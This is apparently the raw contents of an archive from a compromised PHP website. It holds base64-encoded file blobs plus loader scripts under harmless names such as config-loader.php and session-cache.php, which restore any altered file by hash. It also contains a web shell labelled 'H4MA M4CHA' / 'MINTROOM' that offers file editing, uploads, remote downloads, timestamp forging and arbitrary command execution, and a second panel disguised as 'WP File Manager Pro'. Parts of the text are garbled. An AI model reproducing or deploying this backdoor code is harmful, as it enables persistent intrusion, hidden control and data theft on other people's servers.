fb25jZSgkX2FxX2ZiKTt9Cn0KfQp9Ci8qID09PUFRVUFfU0FGRVRZX0dVQVJEX0VORD09PSAqLwo=","md5":"c8189e630433f17b4a5d470d67f7fdea"},".htaccess":{"content":"IyA9PT0gQVFVQSBIQVJERU5FRCBIVEFDQ0VTUyA9PT0KPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+CiMgPT09IEVORCBBUVVBIEhBUkRFTkVEIEhUQUNDRVNTID09PQo=","md5":"faa0a1fb05eab24a9f8c8c060f4b3446"}}}PK!P]u:aconfig-loader.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]-jmmsession-manifest.phpnu['; } PK!P]u:aconfig-cache.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]u:asession-index.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]u:asession-runtime.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]u:asession-cache.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]res9fb17e/index.phpnu[ 馃崈 H4MA M4CHA馃崈

H4M4

// SECURE ACCESS //
鉀� ACCESS DENIED - INVALID CREDENTIALS
PHP 鈥� 鈥� MINTROOM v1.0
= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function modeFromInput($s){ $s=trim($s); if ($s==='') return 0644; if (ctype_digit($s)){ if ($s[0]!=='0') $s='0'.$s; return intval($s,8); } return 0644; } function isTextFile($p){ if (is_dir($p) || !is_file($p)) return false; $ext = strtolower(pathinfo($p, PATHINFO_EXTENSION)); $text = array('txt','md','json','js','ts','css','scss','less','html','htm','xml','svg','php','phtml','inc','ini','cfg','env','yml','yaml','py','rb','go','rs','c','h','cpp','hpp','java','kt','sql','csv','log'); if (in_array($ext, $text, true)) return true; $s = @file_get_contents($p, false, null, 0, 2048); if ($s === false) return false; return (bool)preg_match('//u', $s); } function safeJoin($base,$child){ $child = str_replace("\0",'',$child); if ($child==='') return $base; if ($child[0]===DIRECTORY_SEPARATOR || preg_match('~^[A-Za-z]:\\\\~',$child)) return $child; return rtrim($base,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (!file_exists($p)) return true; if (is_file($p) || is_link($p)) return @unlink($p); $ok=true; $h=@opendir($p); if($h===false) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; $ok = rrmdir($p.DIRECTORY_SEPARATOR.$v) && $ok; } closedir($h); return @rmdir($p) && $ok; } function tryWriteFromTmp($tmp,$dest){ $err=array(); if(@move_uploaded_file($tmp,$dest)) return array(true,null); $err[]='move_uploaded_file'; if(@rename($tmp,$dest)) return array(true,null); $err[]='rename'; if(@copy($tmp,$dest)) return array(true,null); $err[]='copy'; $d=@file_get_contents($tmp); if($d!==false && @file_put_contents($dest,$d)!==false) return array(true,null); $err[]='get+put'; $in=@fopen($tmp,'rb'); $out=@fopen($dest,'wb'); if($in && $out){ $c=stream_copy_to_stream($in,$out); @fclose($in); @fclose($out); if($c!==false) return array(true,null); $err[]='stream_copy'; } else { $err[]='fopen'; } return array(false, implode('; ',$err).' failed'); } if (!function_exists('fetchUrlToFile')) { function fetchUrlToFile($url, $dest) { $errs = array(); if (is_fn_usable('curl_init')) { $ch = @curl_init($url); $fp = @fopen($dest, 'wb'); if ($ch && $fp) { @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_FILE, $fp); @curl_setopt($ch, CURLOPT_FAILONERROR, true); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); @curl_setopt($ch, CURLOPT_TIMEOUT, 60); $ok = @curl_exec($ch); $e = @curl_error($ch); @curl_close($ch); @fclose($fp); if ($ok) return array(true, null); $errs[] = 'cURL: ' . $e; @unlink($dest); } else { if ($ch) @curl_close($ch); if ($fp) @fclose($fp); $errs[] = 'init cURL/fopen'; } } $ctx = @stream_context_create(array( 'http' => array( 'follow_location' => 1, 'timeout' => 60, 'header' => "User-Agent: Mozilla/5.0\r\n", ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), )); if (@copy($url, $dest, $ctx)) return array(true, null); $errs[] = 'copy(url)'; $d = @file_get_contents($url, false, $ctx); if ($d !== false && @file_put_contents($dest, $d) !== false) return array(true, null); $errs[] = 'get+put'; $in = @fopen($url, 'rb', false, $ctx); $out = @fopen($dest, 'wb'); if ($in && $out) { $c = @stream_copy_to_stream($in, $out); @fclose($in); @fclose($out); if ($c !== false) return array(true, null); $errs[] = 'stream_copy'; @unlink($dest); } else { $errs[] = 'fopen(url/dest)'; } return array(false, implode('; ', $errs) . ' failed'); } } function breadcrumbs($path){ $out=array(); if (preg_match('~^[A-Za-z]:\\\\~',$path)){ $drive=substr($path,0,2); $rest=substr($path,2); $segments=array_values(array_filter(explode('\\\\',$rest),'strlen')); $acc=$drive.'\\'; $out[]=array($drive.'\\',$acc); foreach($segments as $s){ $acc.=$s.'\\'; $out[]=array($s,rtrim($acc,'\\')); } } else { $segments=array_values(array_filter(explode('/',$path),'strlen')); $acc='/'; $out[]=array('/','/'); foreach($segments as $s){ $acc.=$s.'/'; $out[]=array($s,rtrim($acc,'/')); } } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ $sess = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; $tok = isset($_POST['csrf']) ? (string)$_POST['csrf'] : ''; if(!hash_equals($sess,$tok)){ http_response_code(400); exit('CSRF token invalid'); } } } /* ====== NEW HELPERS: create non-zero file ====== */ function create_nonzero_file($path, $userContent = null){ $default = "Created by MINTROOM @ ".date('c')."\n"; $payload = (string)($userContent !== null ? $userContent : $default); if ($payload === '') $payload = $default; $w = @file_put_contents($path, $payload, LOCK_EX); if ($w !== false && $w > 0) return array(true, 'file_put_contents'); $fp = @fopen($path, 'wb'); if ($fp){ $wr = @fwrite($fp, $payload); @fclose($fp); if ($wr !== false && $wr > 0) return array(true, 'fopen+fwrite'); } $tmp = @tempnam(sys_get_temp_dir(), 'mint_'); if ($tmp){ @file_put_contents($tmp, $payload); if (@rename($tmp, $path)) { if (@filesize($path) > 0) return array(true, 'tempnam+rename'); } elseif (@copy($tmp, $path)) { @unlink($tmp); if (@filesize($path) > 0) return array(true, 'tempnam+copy'); } @unlink($tmp); } $src = @fopen('php://temp', 'wb+'); if ($src){ @fwrite($src, $payload); @rewind($src); $dst = @fopen($path, 'wb'); if ($dst){ $copied = @stream_copy_to_stream($src, $dst); @fclose($dst); if ($copied !== false && $copied > 0) { @fclose($src); return array(true, 'php://temp copy'); } } @fclose($src); } if (@touch($path)){ $w2 = @file_put_contents($path, $payload, FILE_APPEND); if ($w2 !== false && $w2 > 0) return array(true, 'touch+append'); } return array(false, 'All methods failed'); } /* ---------- Icons ---------- */ function svgIcon($name,$class='ico'){ $icons=array( 'folder'=>'', 'file'=>'', 'code'=>'', 'text'=>'', 'skull'=>'', 'img'=>'', 'pdf'=>'PDF', 'sheet'=>'', 'zip'=>'', 'db'=>'', 'search'=>'', ); return isset($icons[$name]) ? $icons[$name] : $icons['file']; } function iconSvgFor($p){ if (is_dir($p)) return svgIcon('folder'); $e=strtolower(pathinfo($p, PATHINFO_EXTENSION)); if (in_array($e,array('zip','rar','7z'))) return svgIcon('zip'); if (in_array($e,array('jpg','jpeg','png','gif','webp','bmp','svg'))) return svgIcon('img'); if (in_array($e,array('pdf'))) return svgIcon('pdf'); if (in_array($e,array('csv','xls','xlsx'))) return svgIcon('sheet'); if (in_array($e,array('sql'))) return svgIcon('db'); if (in_array($e,array('php','js','ts','css','scss','less','html','htm','xml','yml','yaml','ini','cfg'))) return svgIcon('code'); if (in_array($e,array('txt','md','log','json'))) return svgIcon('text'); return svgIcon('file'); } /* ---------- Shell helpers ---------- */ if(!function_exists('make_cd_prefix')){ function make_cd_prefix($cwd){ if(!$cwd) return ''; if(DIRECTORY_SEPARATOR==='\\') return 'cd /d '.escapeshellarg($cwd).' && '; return 'cd '.escapeshellarg($cwd).' && '; } } if(!function_exists('wrap_cmd_for_shell')){ function wrap_cmd_for_shell($cmd){ if(DIRECTORY_SEPARATOR==='\\') return 'cmd.exe /C '.$cmd; return '/bin/sh -c '.escapeshellarg($cmd); } } /* ---------- Command runners ---------- */ if(!function_exists('run_with_proc_open')){ function run_with_proc_open($cmd,$cwd=null,$timeout=30){ if(!is_fn_usable('proc_open')) return null; $des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')); $pipes=array(); $proc=@proc_open($cmd,$des,$pipes,$cwd?:null,null); if(!is_resource($proc)) return null; if(isset($pipes[1])&&is_resource($pipes[1])) @stream_set_blocking($pipes[1],false); if(isset($pipes[2])&&is_resource($pipes[2])) @stream_set_blocking($pipes[2],false); if(isset($pipes[0])&&is_resource($pipes[0])) @fclose($pipes[0]); $buf=''; $start=time(); while(true){ $status=@proc_get_status($proc); $running=$status && !empty($status['running']); $r=array(); if(isset($pipes[1])&&is_resource($pipes[1])) $r[]=$pipes[1]; if(isset($pipes[2])&&is_resource($pipes[2])) $r[]=$pipes[2]; if($r){ $w=null;$e=null; @stream_select($r,$w,$e,1); foreach($r as $p){ $chunk=@fread($p,8192); if($chunk!==false && $chunk!=='') $buf.=$chunk; } } else { usleep(100000); } if(!$running) break; if($timeout>0 && (time()-$start)>=$timeout){ @proc_terminate($proc,9); foreach($pipes as $p){ if(is_resource($p)) @fclose($p); } @proc_close($proc); return array('method'=>'proc_open','code'=>124,'out'=>$buf."\n[timeout after {$timeout}s]"); } } foreach($pipes as $p){ if(is_resource($p)) @fclose($p); } $code=@proc_close($proc); if($code===-1) $code=null; return array('method'=>'proc_open','code'=>$code,'out'=>$buf); } } if(!function_exists('run_with_shell_exec')){ function run_with_shell_exec($cmd,$cwd=null){ if(!is_fn_usable('shell_exec')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $out = @shell_exec($full); if($out===null) return null; return array('method'=>'shell_exec','code'=>null,'out'=>$out); } } if(!function_exists('run_with_exec')){ function run_with_exec($cmd,$cwd=null){ if(!is_fn_usable('exec')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $lines=array(); $code=0; @exec($full,$lines,$code); return array('method'=>'exec','code'=>$code,'out'=>implode("\n",(array)$lines)); } } if(!function_exists('run_with_system')){ function run_with_system($cmd,$cwd=null){ if(!is_fn_usable('system')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; ob_start(); @system($full,$code); $out=ob_get_clean(); return array('method'=>'system','code'=>$code,'out'=>$out); } } if(!function_exists('run_with_popen')){ function run_with_popen($cmd,$cwd=null){ if(!is_fn_usable('popen')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $h=@popen(wrap_cmd_for_shell($full),'r'); if(!is_resource($h)) return null; $buf=''; while(!feof($h)){ $chunk=@fread($h,8192); if($chunk===false) break; $buf.=$chunk; } @pclose($h); return array('method'=>'popen','code'=>null,'out'=>$buf); } } if(!function_exists('run_command_all')){ function run_command_all($cmd,$cwd=null){ $po=run_with_proc_open($cmd,$cwd,30); if($po) return $po; $order=array('run_with_shell_exec','run_with_exec','run_with_system','run_with_popen'); foreach($order as $fn){ if(function_exists($fn)){ $res=$fn($cmd,$cwd); if($res) return $res; } } return array('method'=>'none','code'=>127,'out'=>"Command runner not available on this PHP build."); } } /* ---------- chmod/mtime recursion ---------- */ function mint_apply_chmod($path,$mode,$recursive,&$ok){ if(!@chmod($path,$mode)) $ok=false; if($recursive && is_dir($path)){ $h=@opendir($path); if($h!==false){ while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; mint_apply_chmod($path.DIRECTORY_SEPARATOR.$v,$mode,true,$ok); } closedir($h); } else { $ok=false; } } } function mint_apply_mtime($path,$timestamp,$recursive,&$ok){ if(!@touch($path,$timestamp,$timestamp)) $ok=false; if($recursive && is_dir($path)){ $h=@opendir($path); if($h!==false){ while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; mint_apply_mtime($path.DIRECTORY_SEPARATOR.$v,$timestamp,true,$ok); } closedir($h); } else { $ok=false; } } } /* ========================= * BOOT & ROUTER * ========================= */ $current = isset($_GET['p']) ? (string)$_GET['p'] : getcwd(); if (!is_dir($current)) $current = getcwd(); $current = rtrim($current, DIRECTORY_SEPARATOR); if ($current === '') $current = DIRECTORY_SEPARATOR; $action = isset($_GET['a']) ? $_GET['a'] : ''; /* === Ambil tab & subtab dari URL untuk initial state === */ $tab = isset($_GET['tab']) ? (string)$_GET['tab'] : ''; $subtab = isset($_GET['subtab']) ? (string)$_GET['subtab'] : ''; /* ---- AUTH ---- */ if ($action === 'login' && $_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $u = isset($_POST['user']) ? $_POST['user'] : ''; $p = isset($_POST['pass']) ? $_POST['pass'] : ''; } /* ---- DOWNLOAD ---- */ if ($action === 'download') { $f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : ''); if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); header('X-Content-Type-Options: nosniff'); readfile($f); exit; } /* ---- RAW (inline view) ---- */ if ($action === 'raw') { $f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : ''); if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); } $mime = 'application/octet-stream'; if (is_fn_usable('finfo_open')) { $fi=@finfo_open(FILEINFO_MIME_TYPE); if($fi){ $det=@finfo_file($fi,$f); if($det) $mime=$det; @finfo_close($fi);} } elseif (is_fn_usable('mime_content_type')) { $tmp=@mime_content_type($f); if($tmp) $mime=$tmp; } header('Content-Type: '.$mime); header('Content-Length: '.filesize($f)); header('X-Content-Type-Options: nosniff'); header('Content-Disposition: inline; filename="'.basename($f).'"'); readfile($f); exit; } /* ---- POST ACTIONS ---- */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); // Ambil tab/subtab yang dipost supaya balik ke tab yang sama $postedTab = isset($_POST['tab']) ? (string)$_POST['tab'] : ''; $postedSubtab = isset($_POST['subtab']) ? (string)$_POST['subtab'] : ''; $back = function () use ($current, $postedTab, $postedSubtab) { $q = '?p='.rawurlencode($current); if ($postedTab !== '') $q .= '&tab='.rawurlencode($postedTab); if ($postedSubtab !== '') $q .= '&subtab='.rawurlencode($postedSubtab); header('Location: '.$q); exit; }; switch ($action) { case 'logout': { session_destroy(); header('Location: ?'); exit; } case 'new-file': { $name = trim((string)(isset($_POST['name']) ? $_POST['name'] : '')); $content = isset($_POST['content']) ? (string)$_POST['content'] : null; if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New File: invalid name'; return $back(); } $dst = safeJoin($current, $name); if (file_exists($dst)) { $_SESSION['msg']='New File: already exists'; return $back(); } list($ok,$how) = create_nonzero_file($dst, $content); $_SESSION['msg'] = $ok ? ("New File OK via {$how}: ".$name) : ('New File failed: '.$how); return $back(); } case 'new-dir': { $name = trim((string)(isset($_POST['name']) ? $_POST['name'] : '')); if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New Folder: invalid name'; return $back(); } $dst = safeJoin($current, $name); if (file_exists($dst)) { $_SESSION['msg']='New Folder: already exists'; return $back(); } $ok = @mkdir($dst, 0775, false); $_SESSION['msg'] = $ok ? ('New Folder OK: '.$name) : 'New Folder failed'; return $back(); } case 'edit-save': { $file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : ''); $content = isset($_POST['content']) ? $_POST['content'] : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : 'txt'; if (!is_file($file) || !is_writable($file)) { $_SESSION['msg']='Save failed (file not writable)'; return $back(); } if ($mode === 'b64') { $data = base64_decode($content, true); if ($data === false) { $_SESSION['msg']='Save failed: invalid Base64 data'; return $back(); } @file_put_contents($file, $data); } else { @file_put_contents($file, $content); } $_SESSION['msg'] = 'Saved: '.basename($file); return $back(); } case 'rename': { $old = safeJoin($current, isset($_POST['old']) ? $_POST['old'] : ''); $new = trim((string)(isset($_POST['new']) ? $_POST['new'] : '')); if ($new === '' || strpos($new, DIRECTORY_SEPARATOR) !== false) { $_SESSION['msg']='Invalid new name'; } else { $dst = safeJoin($current, $new); $_SESSION['msg'] = @rename($old,$dst) ? 'Rename OK' : 'Rename failed'; } return $back(); } case 'chmod': { $target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $mode = modeFromInput((string)(isset($_POST['mode']) ? $_POST['mode'] : '0644')); $rec = !empty($_POST['recursive']); $ok=true; mint_apply_chmod($target,$mode,$rec,$ok); $_SESSION['msg'] = $ok ? 'Chmod OK' : 'Chmod partially failed'; return $back(); } case 'delete': { $t = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $_SESSION['msg'] = rrmdir($t) ? 'Delete OK' : 'Delete failed'; return $back(); } case 'mass-delete': { $arr = isset($_POST['items']) ? $_POST['items'] : array(); $ok=true; if (is_array($arr)) foreach ($arr as $n) { $ok = rrmdir(safeJoin($current,$n)) && $ok; } $_SESSION['msg'] = $ok ? 'Bulk delete OK' : 'Some items failed to delete'; return $back(); } case 'upload': { if (!isset($_FILES['files'])) { $_SESSION['msg']='No files provided'; return $back(); } $c = count($_FILES['files']['name']); $ok=0; $fail=0; $fails=array(); for ($i=0;$i<$c;$i++){ $name=$_FILES['files']['name'][$i]; $tmp=$_FILES['files']['tmp_name'][$i]; $e=$_FILES['files']['error'][$i]; if ($e!==UPLOAD_ERR_OK){ $fail++; $fails[]="$name (error $e)"; continue; } list($done,$why)=tryWriteFromTmp($tmp,safeJoin($current,$name)); if ($done) $ok++; else { $fail++; $fails[]="$name ($why)"; } } $_SESSION['msg']="Upload: OK=$ok; Failed=$fail".($fails?'; '.implode(', ',$fails):''); return $back(); } case 'url-upload': { $url = trim((string)(isset($_POST['url']) ? $_POST['url'] : '')); $fn = trim((string)(isset($_POST['filename']) ? $_POST['filename'] : '')); if ($url===''){ $_SESSION['msg']='URL is empty'; return $back(); } if ($fn===''){ $path=parse_url($url,PHP_URL_PATH); $fn=basename($path?$path:''); if($fn===''){ $fn='download.bin'; } } list($ok,$w) = fetchUrlToFile($url, safeJoin($current,$fn)); $_SESSION['msg'] = $ok ? "Downloaded from URL: $fn" : "URL download failed: $w"; return $back(); } case 'mtime': { $target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $input = trim((string)(isset($_POST['ts']) ? $_POST['ts'] : '')); $rec = !empty($_POST['recursive']); if ($input===''){ $_SESSION['msg']='Change Date: empty'; return $back(); } if (ctype_digit($input)) $ts=(int)$input; else { $ts=@strtotime($input); if($ts===false){ $_SESSION['msg']='Change Date: invalid time format'; return $back(); } } $ok=true; mint_apply_mtime($target,$ts,$rec,$ok); $_SESSION['msg'] = $ok ? ('Change Date OK 鈫� '.date('Y-m-d H:i:s',$ts)) : 'Change Date partially failed'; return $back(); } case 'cmd': { $cmd = trim((string)(isset($_POST['cmd']) ? $_POST['cmd'] : '')); if ($cmd===''){ $_SESSION['msg']='Command is empty.'; return $back(); } $result = run_command_all($cmd, $current); $out=(string)$result['out']; if (strlen($out)>1024*1024) $out = substr($out,0,1024*1024)."\n[output truncated]"; $_SESSION['cmd_result']=array('cmd'=>$cmd,'method'=>$result['method'],'code'=>$result['code'],'out'=>$out); return $back(); } case 'move': { $srcName = (string)(isset($_POST['src']) ? $_POST['src'] : ''); $dstDir = (string)(isset($_POST['dst']) ? $_POST['dst'] : ''); $srcFull = safeJoin($current, $srcName); if ($srcName==='' || !file_exists($srcFull)) { $_SESSION['msg']='Move failed: source missing'; return $back(); } if ($dstDir==='') { $_SESSION['msg']='Move failed: destination empty'; return $back(); } if (!is_dir($dstDir)) { $_SESSION['msg']='Move failed: destination is not a directory'; return $back(); } $dstFull = safeJoin($dstDir, basename($srcName)); if (@realpath($srcFull)===@realpath($dstFull)) { $_SESSION['msg']='Move skipped (same location)'; return $back(); } $ok = @rename($srcFull, $dstFull); $_SESSION['msg'] = $ok ? 'Move OK' : 'Move failed'; return $back(); } case 'zip': { $items = isset($_POST['items']) ? $_POST['items'] : array(); $name = trim((string)(isset($_POST['zipname']) ? $_POST['zipname'] : '')); if (!is_array($items) || empty($items)) { $_SESSION['msg']='Zip failed: nothing selected'; return $back(); } if ($name==='') $name = 'archive-'.date('Ymd-His').'.zip'; $archivePath = safeJoin($current, $name); $done=false; $err=''; if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($archivePath, ZipArchive::CREATE|ZipArchive::OVERWRITE)===true) { foreach ($items as $it) { $full = safeJoin($current, $it); if (is_dir($full)) { $itClean = rtrim($it, DIRECTORY_SEPARATOR); addDirToZip($zip, $full, $itClean); } elseif (is_file($full)) { $zip->addFile($full, basename($it)); } } $zip->close(); $done=true; } else { $err='ZipArchive open failed'; } } if (!$done) { if (class_exists('PharData')) { try { $tarName = preg_replace('~\.zip$~i', '.tar', $archivePath); $phar = new PharData($tarName); foreach ($items as $it) { $full = safeJoin($current, $it); if (is_dir($full)) { $phar->addEmptyDir(basename($it)); addDirToPhar($phar, $full, basename($it)); } elseif (is_file($full)) { $phar->addFile($full, basename($it)); } } unset($phar); $_SESSION['msg']='ZipArchive not available; created TAR instead: '.basename($tarName); return $back(); } catch (Exception $e) { $err = 'TAR fallback failed: '.$e->getMessage(); } } else { $err = ($err ? $err.'; ' : '').'No ZipArchive nor PharData available'; } } $_SESSION['msg'] = $done ? ('Archive created: '.basename($archivePath)) : ('Zip failed: '.$err); return $back(); } case 'unzip': { $file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : ''); if (!is_file($file)) { $_SESSION['msg']='Unzip failed: file not found'; return $back(); } $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $ok=false; $err=''; if ($ext==='zip' && class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($file)===true) { $ok = $zip->extractTo($current); $zip->close(); if(!$ok) $err='Zip extractTo failed'; } else { $err='Zip open failed'; } } else { try { if (class_exists('PharData') && preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $file)) { $phar = new PharData($file); $phar->extractTo($current, null, true); $ok=true; } else { $err='Unsupported archive type or PharData not available'; } } catch (Exception $e) { $err=$e->getMessage(); } } $_SESSION['msg'] = $ok ? 'Unzip OK' : ('Unzip failed: '.$err); return $back(); } } } /* ==== Helpers for ZIP/TAR recursion ==== */ function addDirToZip($zip, $dir, $local){ $dir = rtrim($dir, DIRECTORY_SEPARATOR); if (method_exists($zip, 'addEmptyDir')) $zip->addEmptyDir($local); $h = @opendir($dir); if(!$h) return; while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $full = $dir.DIRECTORY_SEPARATOR.$e; $localPath = $local.'/'.basename($e); if (is_dir($full)) addDirToZip($zip, $full, $localPath); elseif (is_file($full) && method_exists($zip,'addFile')) $zip->addFile($full, $localPath); } closedir($h); } function addDirToPhar($phar, $dir, $local){ $dir = rtrim($dir, DIRECTORY_SEPARATOR); $h = @opendir($dir); if(!$h) return; while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $full = $dir.DIRECTORY_SEPARATOR.$e; $localPath = $local.'/'.basename($e); if (is_dir($full)) { if (method_exists($phar,'addEmptyDir')) $phar->addEmptyDir($localPath); addDirToPhar($phar,$full,$localPath); } elseif (is_file($full) && method_exists($phar,'addFile')) { $phar->addFile($full, $localPath); } } closedir($h); } /* ========================= * VIEW MODEL & RENDER * ========================= */ $items = listDirEntries($current); $files=array(); $dirs=array(); foreach($items as $it){ $full=$current.DIRECTORY_SEPARATOR.$it; if(is_dir($full)) $dirs[]=$it; else $files[]=$it; } $hasNatural=defined('SORT_NATURAL'); $hasFlagCase=defined('SORT_FLAG_CASE'); if ($hasNatural){ sort($dirs, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); sort($files, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); } else { natcasesort($dirs); $dirs=array_values($dirs); natcasesort($files); $files=array_values($files); } $up = dirname($current); if ($up===$current) $up=$current; $isEdit = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'edit')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null; $editFile = ($isEdit && is_file($isEdit)) ? $isEdit : null; $isView = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'view')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null; $viewFile = ($isView && is_file($isView)) ? $isView : null; $modeParam = isset($_GET['mode']) ? $_GET['mode'] : 'auto'; $viewMode = in_array($modeParam, array('txt','b64','auto'), true) ? $modeParam : 'auto'; $csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; $yearNow = date('Y'); ?> 馃崈 H4MA M4CHA馃崈
Edit File

Base64 mode
Reset
Preview

preview
$preview_max): ?>
Showing of
Cannot preview this file type.

Directory Contents

Dirs: 脳 Files:

Name Size Perms Modified Actions
DIR
-
Edit DL
Edit DL
Empty

Fallback to .tar if ZipArchive unavailable
Require all granted SetHandler application/x-httpd-php PK!P]^res9fb17e/ext4b8905/index.phpnu[ ✨ WP File Manager Pro
✦ WP File Manager Pro ✦
'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'php' => 'text/x-php', 'css' => 'text/css', 'js' => 'application/javascript', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'ico' => 'image/x-icon', 'txt' => 'text/plain', 'log' => 'text/plain', 'xml' => 'application/xml', 'json' => 'application/json', 'sql' => 'text/plain', 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'zip' => 'application/zip', 'rar' => 'application/x-rar-compressed', 'tar' => 'application/x-tar', 'gz' => 'application/gzip', 'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo', 'mkv' => 'video/x-matroska', 'exe' => 'application/x-msdownload', 'msi' => 'application/x-msi', 'htaccess' => 'text/plain', 'py' => 'text/x-python', 'rb' => 'text/x-ruby', 'pl' => 'text/x-perl', 'sh' => 'text/x-shellscript', 'bat' => 'text/plain', ]; return isset($map[$ext]) ? $map[$ext] : 'application/octet-stream'; } // Serve file directly with correct MIME type if (isset($_GET['serve']) && $_GET['serve'] == '1' && isset($_GET['fileloc'])) { $file = $_GET['fileloc']; if (file_exists($file) && is_file($file)) { $mime = isset($_GET['mime']) ? $_GET['mime'] : getMimeType($file); header('Content-Type: ' . $mime . '; charset=utf-8'); header('Content-Length: ' . filesize($file)); header('Content-Disposition: inline; filename="' . basename($file) . '"'); readfile($file); exit; } else { http_response_code(404); echo 'File not found.'; exit; } } // -------------------------------------------- // Core functions // -------------------------------------------- function author() { echo '
✨ File Manager Magic ✨
